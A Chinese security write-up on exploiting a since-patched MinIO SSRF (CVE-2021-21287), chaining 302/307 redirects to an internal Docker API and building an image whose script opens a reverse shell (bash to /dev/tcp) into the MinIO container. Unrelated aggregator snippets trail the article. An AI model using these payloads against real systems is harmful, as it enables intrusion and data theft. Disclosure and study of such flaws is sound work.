容器与云的碰撞——一次对MinIO的测试

2023-11-19

事先声明:本次测试过程完全处于本地或授权环境,仅供学习与参考,不存在未授权测试过程。本文提到的漏洞《MinIO未授权SSRF漏洞(CVE-2021-21287)》已经修复,也请读者勿使用该漏洞进行未授权测试,否则作者不承担任何责任

随着工作和生活中的一些环境逐渐往云端迁移,对象存储的需求也逐渐多了起来,MinIO就是一款支持部署在私有云的开源对象存储系统。MinIO完全兼容AWS S3的协议,也支持作为S3的网关,所以在全球被广泛使用,在Github上已有25k星星。

我平时会将一些数据部署在MinIO中,在CI、Dockerfile等地方进行使用。本周就遇到了一个环境,其中发现一个MinIO,其大概情况如下:

  • MinIO运行在一个小型Docker集群(swarm)中

  • MinIO开放默认的9000端口,外部可以访问,地址为http://192.168.227.131:9000,但是不知道账号密码

  • 192.168.227.131这台主机是CentOS系统,默认防火墙开启,外部只能访问9000端口,dockerd监听在内网的2375端口(其实这也是一个swarm管理节点,swarm监听在2377端口)

本次测试目标就是窃取MinIO中的数据,或者直接拿下。

0x01 MinIO代码审计

既然我们选择了从MinIO入手,那么先了解一下MinIO。其实我前面也说了,因为平时用到MinIO的时候很多,所以这一步可以省略了。其使用Go开发,提供HTTP接口,而且还提供了一个前端页面,名为“MinIO Browser”。当然,前端页面就是一个登陆接口,不知道口令无法登录。

那么从入口点(前端接口)开始对其进行代码审计吧。

在User-Agent满足正则.*Mozilla.*的情况下,我们即可访问MinIO的前端接口,前端接口是一个自己实现的JsonRPC:

我们感兴趣的就是其鉴权的方法,随便找到一个RPC方法,可见其开头调用了webRequestAuthenticate,跟进看一下,发现这里用的是jwt鉴权:

jwt常见的攻击方法主要有下面这几种:

  • 将alg设置为None,告诉服务器不进行签名校验

  • 如果alg为RSA,可以尝试修改为HS256,即告诉服务器使用公钥进行签名的校验

  • 爆破签名密钥

查看MinIO的JWT模块,发现其中对alg进行了校验,只允许以下三种签名方法:

这就堵死了前两种绕过方法,爆破当然就更别说了,通常仅作为没办法的情况下的手段。当然,MinIO中使用用户的密码作为签名的密钥,这个其实会让爆破变的简单一些。

鉴权这块没啥突破,我们就可以看看,有哪些RPC接口没有进行权限验证。

很快找到了一个接口,LoginSTS。这个接口其实是AWS STS登录接口的一个代理,用于将发送到JsonRPC的请求转变成STS的方式转发给本地的9000端口(也就还是他自己,因为它是兼容AWS协议的)。

简化其代码如下:

// LoginSTS - STS user login handler.
func (web *webAPIHandlers) LoginSTS(r *http.Request, args *LoginSTSArgs, reply *LoginRep) error {
 ctx := newWebContext(r, args, "WebLoginSTS")

 v := url.Values{}
 v.Set("Action", webIdentity)
 v.Set("WebIdentityToken", args.Token)
 v.Set("Version", stsAPIVersion)

 scheme := "http"
    // ...

 u := &url.URL{
  Scheme: scheme,
  Host:   r.Host,
 }

 u.RawQuery = v.Encode()
 req, err := http.NewRequest(http.MethodPost, u.String(), nil)
 // ...
}

没发现有鉴权上的绕过问题,但是发现了另一个有趣的问题。这里,MinIO为了将请求转发给“自己”,就从用户发送的HTTP头Host中获取到“自己的地址”,并将其作为URL的Host构造了新的URL。

这个过程有什么问题呢?

因为请求头是用户可控的,所以这里可以构造任意的Host,进而构造一个SSRF漏洞。

我们来实际测试一下,向http://192.168.227.131:9000发送如下请求,其中Host的值是我本地ncat开放的端口(192.168.1.142:4444):

POST /minio/webrpc HTTP/1.1
Host: 192.168.1.142:4444
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36
Content-Type: application/json
Content-Length: 80

{"id":1,"jsonrpc":"2.0","params":{"token":  "Test"},"method":"web.LoginSTS"}

成功收到请求:

可以确定这里存在一个SSRF漏洞了。

0x02 升级SSRF漏洞

仔细观察,可以发现这是一个POST请求,但是Path和Body都没法控制,我们能控制的只有URL中的一个参数WebIdentityToken

但是这个参数经过了URL编码,无法注入换行符等其他特殊字符。这样就比较鸡肋了,如果仅从现在来看,这个SSRF只能用于扫描端口。我们的目标当然不仅限于此。

与PHP的file_get_contents()和Python的requests.post()不同,Go默认的http库会跟踪302跳转,而且不论是GET还是POST请求。所以,我们这里可以302跳转来“升级”SSRF漏洞。

使用PHP来简单地构造一个302跳转:

<?php
header('Location: http://192.168.1.142:4444/attack?arbitrary=params');

将其保存成index.php,启动一个PHP服务器:

将Host指向这个PHP服务器。这样,经过一次302跳转,我们收获了一个可以控制完整URL的GET请求:

放宽了一些限制,结合前面我对这套内网的了解,我们可以尝试攻击Docker集群的2375端口。

2375是Docker API的接口,使用HTTP协议通信,默认不会监听TCP地址,这里可能是为了方便内网其他机器使用所以开放在内网的地址里了。那么,我们是否可以通过SSRF来攻击这个接口呢?

在Docker未授权访问的情况下,我们通常可以使用docker rundocker exec来在目标容器里执行任意命令(如果你不了解,可以参考这篇文章)。但是翻阅Docker的文档可知,这两个操作的请求是POST /containers/createPOST /containers/{id}/exec

两个API都是POST请求,而我们可以构造的SSRF却是一个GET的。怎么办呢?

0x03 再次升级SSRF漏洞

还记得我们是怎样获得这个GET型的SSRF的吗?通过302跳转,而接受第一次跳转的请求就是一个POST请求。不过我们没法直接利用这个POST请求,因为他的Path不可控。

如何构造一个Path可控的POST请求呢?

我想到了307跳转,307跳转是在RFC 7231中定义的一种HTTP状态码,描述如下:

The 307 (Temporary Redirect) status code indicates that the target resource resides temporarily under a different URI and the user agent MUST NOT change the request method if it performs an automatic redirection to that URI.

307跳转的特点就是不会改变原始请求的方法,也就是说,在服务端返回307状态码的情况下,客户端会按照Location指向的地址发送一个相同方法的请求。

我们正好可以利用这个特性,来获得POST请求。

简单修改一下之前的index.php:

<?php
header('Location: http://192.168.1.142:4444/attack?arbitrary=params', false, 307);

尝试SSRF攻击,收到了预期的请求:

Bingo,获得了一个POST请求的SSRF,虽然没有Body。

0x04 攻击Docker API

回到Docker API,我发现现在仍然没法对run和exec两个API做利用,原因是,这两个API都需要在请求Body中传输JSON格式的参数,而我们这里的SSRF无法控制Body。

继续翻阅Docker文档,我发现了另一个API,Build an image:

这个API的大部分参数是通过Query Parameters传输的,我们可以控制。阅读其中的选项,发现它可以接受一个名为remote的参数,其说明为:

A Git repository URI or HTTP/HTTPS context URI. If the URI points to a single text file, the file’s contents are placed into a file called Dockerfile and the image is built from that file. If the URI points to a tarball, the file is downloaded by the daemon and the contents therein used as the context for the build. If the URI points to a tarball and the dockerfile parameter is also specified, there must be a file with the corresponding path inside the tarball.

这个参数可以传入一个Git地址或者一个HTTP URL,内容是一个Dockerfile或者一个包含了Dockerfile的Git项目或者一个压缩包。

也就是说,Docker API支持通过指定远程URL的方式来构建镜像,而不需要我在本地写入一个Dockerfile。

所以,我尝试编写了这样一个Dockerfile,看看是否能够build这个镜像,如果可以,那么我的4444端口应该能收到wget的请求:

FROM alpine:3.13
RUN wget -T4 http://192.168.1.142:4444/docker/build

然后修改前面的index.php,指向Docker集群的2375端口:

<?php
header('Location: http://192.168.227.131:2375/build?remote=http://192.168.1.142:4443/Dockerfile&nocache=true&t=evil:1', false, 307);

进行SSRF攻击,等待了一会儿,果然收到请求了:

完美,我们已经可以在目标集群容器里执行任意命令了。

0x05 拿下MinIO容器

此时离我们的目标,拿下MinIO,还差一点点,后面的攻击其实就比较简单了。

因为现在可以执行任意命令,我们就不会再受到SSRF漏洞的限制,可以直接反弹一个shell,或者可以直接发送任意数据包到Docker API,来访问容器。经过一顿测试,我发现MinIO虽然是运行的一个service,但实际上就只有一个容器。

所以我编写了一个自动化攻击MinIO容器的脚本,并将其放在了Dockerfile中,让其在Build的时候进行攻击,利用docker exec在MinIO的容器里执行反弹shell的命令。这个Dockerfile如下:

FROM alpine:3.13

RUN apk add curl bash jq

RUN set -ex && \
    { \
        echo '#!/bin/bash'; \
        echo 'set -ex'; \
        echo 'target="http://192.168.227.131:2375"'; \
        echo 'jsons=$(curl -s -XGET "${target}/containers/json" | jq -r ".[] | @base64")'; \
        echo 'for item in ${jsons[@]}; do'; \
        echo '    name=$(echo $item | base64 -d | jq -r ".Image")'; \
        echo '    if [[ "$name" == *"minio/minio"* ]]; then'; \
        echo '        id=$(echo $item | base64 -d | jq -r ".Id")'; \
        echo '        break'; \
        echo '    fi'; \
        echo 'done'; \
        echo 'execid=$(curl -s -X POST "${target}/containers/${id}/exec" -H "Content-Type: application/json" --data-binary "{\"Cmd\": [\"bash\", \"-c\", \"bash -i >& /dev/tcp/192.168.1.142/4444 0>&1\"]}" | jq -r ".Id")'; \
        echo 'curl -s -X POST "${target}/exec/${execid}/start" -H "Content-Type: application/json" --data-binary "{}"'; \
    } | bash

这个脚本所干的事情比较简单,一个是遍历了所有容器,如果发现其镜像的名字中包含minio/minio,则认为这个容器就是MinIO所在的容器。拿到这个容器的Id,用exec的API,在其中执行反弹shell的命令。

最后成功拿到MinIO容器的shell:

当然,我们也可以通过Docker API来获取集群权限,这不在本文的介绍范围内了。

0x06 总结

本次测试开始于一个MinIO开放的9000端口,通过代码审计,挖掘到了MinIO的一个SSRF漏洞,又利用这个漏洞攻击内网的Docker API,最终拿到了MinIO的权限。

本文所涉及的漏洞已经提交给MinIO官方并修复,以下是时间线:

  • Jan 23, 2021, 9:11 PM - 漏洞提交

  • Jan 24, 2021, 3:06 AM - 漏洞确认

  • Jan 26, 2021, 2:15 AM - 修复已被合并进主线分支

  • Jan 30, 2021, 11:22 AM - 漏洞公告和新版本被发布

  • Feb 2, 2021 01:10 AM - 确认编号 - CVE-2021-21287

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

容器与云的碰撞——一次对MinIO的测试 的相关文章

  • selenium 2.0 中的 isElementPresent

    大家好 我正在使用 webdriver 所以如果我想使用 selenium s rc 函数 isElementPresent 我必须模拟 selenium rc 所以我会执行以下操作 import org openqa selenium B
  • Mediaplayer 播放几次后停止播放

    我有一个按钮 按下它会播放一个随机声音剪辑 然后播放另一个声音剪辑 然后通过一个媒体播放器播放另一个声音剪辑 但是多次按下该按钮 15 20 次 后 所有音频都会停止 我在播放最后一个音频剪辑后释放媒体播放器 所以我不认为这是原因 有什么指
  • java中%%是什么意思?

    我是一名 PHP 程序员 想知道这行代码的含义 System out printf exp 3f is 3f n x Math exp x 3f 3f n 和逗号 x 是什么意思 它与C类似printf http java sun com
  • Docker 容器中的 LDAP 身份验证

    默认情况下 当Docker容器启动时 里面的用户是sudo I want 默认情况下将 sudo 用户锁定在容器中 在容器中使用 LDAP 身份验证而不是默认身份验证 当用户与映像一起提供时 或者在容器运行时由 sudo 用户创建 为此 我
  • 使用 POJO 仅更新 JOOQ 记录中已更改的字段

    我想使用 POJO 作为源来更新 JOOQ 记录中已更改的字段 Record from Object http www jooq org javadoc 3 8 x org jooq Record html from java lang O
  • Spark SQL 失败,因为“常量池已超过 JVM 限制 0xFFFF”

    我在 EMR 4 6 0 Spark 1 6 1 上运行此代码 val sqlContext SQLContext getOrCreate sc val inputRDD sqlContext read json input try inp
  • Java:从 ScriptEngine javascript 返回一个对象

    我正在尝试使用 Java 来评估 javascript脚本引擎 https docs oracle com javase 7 docs api javax script ScriptEngine html班级 这是我正在尝试做的事情的一个简
  • 加密 mongodb 中的密码字段

    我有以下代码 它插入userName and password进入数据库 但密码以纯文本格式存储 我的意思是 当我查看数据库时 我可以看到插入的密码 我想存储password in encrypted format MongoClient
  • 对象映射器 - YAMLFactory - 由于缺少 _createContentReference 方法而出现异常

    我正在使用最新的 2 13 0 版本的 jackson 当我尝试解析 YAML 文件时 出现此异常 java lang NoSuchMethodError com fasterxml jackson core io ContentRefer
  • Java/Hibernate - 异常:内部连接池已达到其最大大小,当前没有可用的连接

    我第一次在大学项目中使用 Hibernate 而且我还是个新手 我想我遵循了我的教授和我阅读的一些教程给出的所有指示 但我不断收到标题中的异常 Exception in thread main org hibernate Hibernate
  • java charAt() 和startsWith() 哪个更快? [关闭]

    Closed 这个问题是基于意见的 help closed questions 目前不接受答案 我的问题是 如果我想检查特定索引中字符串的一个字符 仅检查一个字符 哪种方法非常有效charAt or startsWith 我的意思是 据我所
  • 莫基托。验证方法参数是特定类

    我有一个方法 void putObject
  • AWS SQS Batch SendMessageBatchRequest 非常慢

    我的应用程序使用 SendMessageBatchRequest 将每个请求发布 10 条消息到 AWS SQS 每条消息的大小小于250字节 该应用程序预计每天发布约一百万条记录 但要实现这一目标 消息发布的速度非常慢 AmazonSQS
  • Java 中的连接路径

    In Python我可以连接两条路径os path join os path join foo bar gt foo bar 我正在尝试在 Java 中实现相同的目标 而不用担心是否OS is Unix Solaris or Windows
  • Java 执行器和长寿命线程

    我继承了一些使用 Executors newFixedThreadPool 4 的代码运行 4 个长寿命线程来完成应用程序的所有工作 这是推荐的吗 我读过Java 并发实践 https rads stackoverflow com amzn
  • Java环境变量设置方法

    我已将以下行插入 bash profile export GOOGLE APPLICATION CREDENTIALS Users jun Downloads export PATH PATH GOOGLE APPLICATION CRED
  • 在edittext android中插入imageview

    我想将 imageview 放在 edittext 中 可能吗 我检查了 evernote 应用程序 它能够将照片放在编辑文本部分 我想让我的应用程序完全相同 我如何才能将从图库中选择的图像视图放入编辑文本中 我首先尝试将 imagevie
  • 在 Spark MLlib 上使用 Java 中的 Breeze

    在尝试从Java使用MLlib时 使用微风矩阵运算的正确方法是什么 例如scala 中的乘法很简单 matrix vector 相应的功能在Java中是如何表达的 有一些方法 例如 colon times 可以通过正确的方式调用 breez
  • 无法从 Gitlab CI 访问私有 MySQL Docker 映像

    我一直在尝试将私有 自定义 MySQL 映像从我的 Docker Hub 存储库拉入 gitlab ci yml 管道作为服务 我添加了一个 before script 尝试使用我的用户名和密码 CI 变量 登录 dockerhub 失败的
  • RetentionPolicy CLASS 与 RUNTIME

    两者之间有什么实际区别RetentionPolicy CLASS and RetentionPolicy RUNTIME 看起来两者都被记录到字节码中 并且无论如何都可以在运行时访问 无论如何 两者都可以在运行时访问 那不是那个javado

随机推荐

  • linux基本命令练习

    1 列出 etc目录下的所有文件名称 2 创建文件file1 和file2 并复制到 home目录下 3 显示以ma开头的所有命令 ma 双击两次 TAB键 4显示所有文件名中有 bash的文件 用tab命令补全 5 显示当前所在的目录路径
  • android图像识别(百度普通物体识别)

    android图像识别 采用百度sdk 识别准确率基本上能用 主要缺陷是百度sdk免费额度有限 demo链接如下 仅供参考https download csdn net download android xc 12274161
  • Python进阶之CrawlSpider的应用及Scrapy配置项的引用

    1 CrawlSpider的应用 CrawlSpider可以根据规则自动分析链接的数据并按照正则的要求取出需要的数据 scrajpy startproject yg cd yg 注意 t crawl参数 scrapy genspider t
  • 解决SqlServer批量插入最多2100条数据的方法

    SqlServer批量插入数据时最多不能超过2100条 记录一下解决办法 Java代码 public void batchInsert List
  • 基于vue实现移动端点击上方导航,内容滑动切换,滑动内容导航自动切换。

    这是在日常开发过程中常见的选项卡 带滑动切换效果 小白一枚 不足之处还望体谅 包涵 这也是第一次尝试写博客 以后会继续分享一些工作中的问题与收获 实现效果 点击上方导航 当前导航添加样式 下方内容滑动切换 滑动下方内容上面导航切换 第一步
  • 论文笔记:Region Representation Learning via Mobility Flow

    2017 CIKM 1 摘要和介绍 使用出租车出行数据学习区域向量表征 同时考虑时间动态和多跳位置转换 gt 通过flow graph和spatial graph学习表征 出租车交通流可以作为区域相似度的一种 A区域和B区域之间流量大 gt
  • JS 变量提升和函数提升

    变量提升 这里介绍一个变量提升提升的经典案例 for var i 0 i lt 10 i setTimeout gt console log i 1000 这里打印是10个10 因为在执行第一个setTimeout时 Js不会等待1秒后再去
  • 怎么解决“无法打开包括文件:“graphics.h”: No such file or directory”的问题

    在接手同伴的中国象棋项目时 导入项目后 发现VS一直提示 无法打开包括文件 graphics h No such file or directory 在查阅资料后发现是缺少easyx文件 接下来 就介绍一下手动配置一下easyx文件 eas
  • 特殊类型动归--区间动归与环形动归

    区间动归 某类有序事件中前若干个事件的子答案 不能再支撑状态转移 我们需要去寻找 从某个元素起到另一个元素结束所包含所有的 连续 元素的子答案 作为状态 可以想象 在这个描述下 每个状态会对应于原题序列上的一个区间 区间具有良好的性质 短的
  • 深度学习(1):BP神经网络实现银行客户流失预测

    目的 针对银行客户行为和统计数据实现客户流失预测任务 一 数据准备 1 数据集 select data csv 作为训练样本 数据预处理方式 归一化 数值化 CreditScore 信用分数 EB 存贷款情况 EstimatedSalary
  • centos 建立回收站

    linux下的回收站在每一个当前用户目录 local share Trash中 也可以给linux添加一个回收站 mkdir tmp trash tmp 建立一个回收站目录 vi bin trash 编辑一个文件 mv tmp trash
  • python之浅拷贝、深拷贝

    什么是浅拷贝 深拷贝 理论来自python基础教程 在 Python 中 对象赋值实际上是对象的引用 当创建一个对象 然后把它赋给另一个变量的时候 Python 并没有拷贝这个对象 而只是拷贝了这个对象的引用 我们称之为浅拷贝 在 Pyth
  • 腾讯云 Finops Crane 开发者集训营 - 云原生如何助力企业搞定成本优化

    引言 随着docker的技术普及 越来越多的企业加入了云计算发展进程 云原生产业发展迅猛 云原生建设投入比例明显 面对大规模的集群投入 部署 维护等问题也逐渐产生 越来越多的企业对云原生不断提出更高要求 同时云原生技术简化运维的效能提 升开
  • .Net WebAPI 高速下载文件接口实现

    接触WebAPI一年多了 感觉是个承上启下 开创未来的技术 老一辈程序员写接口就像写方法一样 不需要了解太多网页的知识 却可以在浏览器中访问这些接口 由于是基于HTTP协议 因此不管是PC 手机还是嵌入式均可顺利访问 对于当下软件多终端的设
  • Spark 【分区与并行度】

    RDD 并行度和分区 SparkConf setMaster local 我们在创建 SparkContext 对象时通常会指定 SparkConf 参数 它包含了我们运行时的配置信息 如果我们的 setMaster 中的参数是 local
  • 服务器维护中轩辕,轩辕服务器为什么老是-轩辕服务器为什么 – 手机爱问

    网三轩辕为什么上不去了啊 网三轩 朋友 我先问下 有以下的情况吗 第一 你的号上去后 选线的时候是不是请重从连接 要是的话这是卡号了 第二 你上号的时候 写账号和密码 就提事说 从请从新登陆 这不是卡号 这也是卡线了 这是你卡线的时候总来回
  • xray扫描器的使用 (长亭科技公司创造)

    简介 xray是一款可以使用HTTP HTTPS代理进行被动扫描的安全工具 支持功能如下 独立的 URL 扫描 基于 HTTP 的被动代理扫描 同时支持HTTPS SQL注入检测模块 命令注入检测模块 任意重定向检测模块 路径遍历模块 Xr
  • c# Newtonsoft.Json 常用方法总结

    1 实体类的 Json 序列化和反序列化 我们以如下的 Person 类举例 其中包含了常用的数据类型 public class Person public int ID get set public string Name get set
  • Kubernetes之kubectl命令详解及常用示例

    文章目录 一 kubectl语法 二 子命令详解 1 command 2 type 3 flags 4 kubectl的输出格式 三 kubectl常用命令 1 查看类命令 2 操作类命令 3 其他操作 一 kubectl语法 kubect
  • 容器与云的碰撞——一次对MinIO的测试

    事先声明 本次测试过程完全处于本地或授权环境 仅供学习与参考 不存在未授权测试过程 本文提到的漏洞 MinIO未授权SSRF漏洞 CVE 2021 21287 已经修复 也请读者勿使用该漏洞进行未授权测试 否则作者不承担任何责任 随着工作和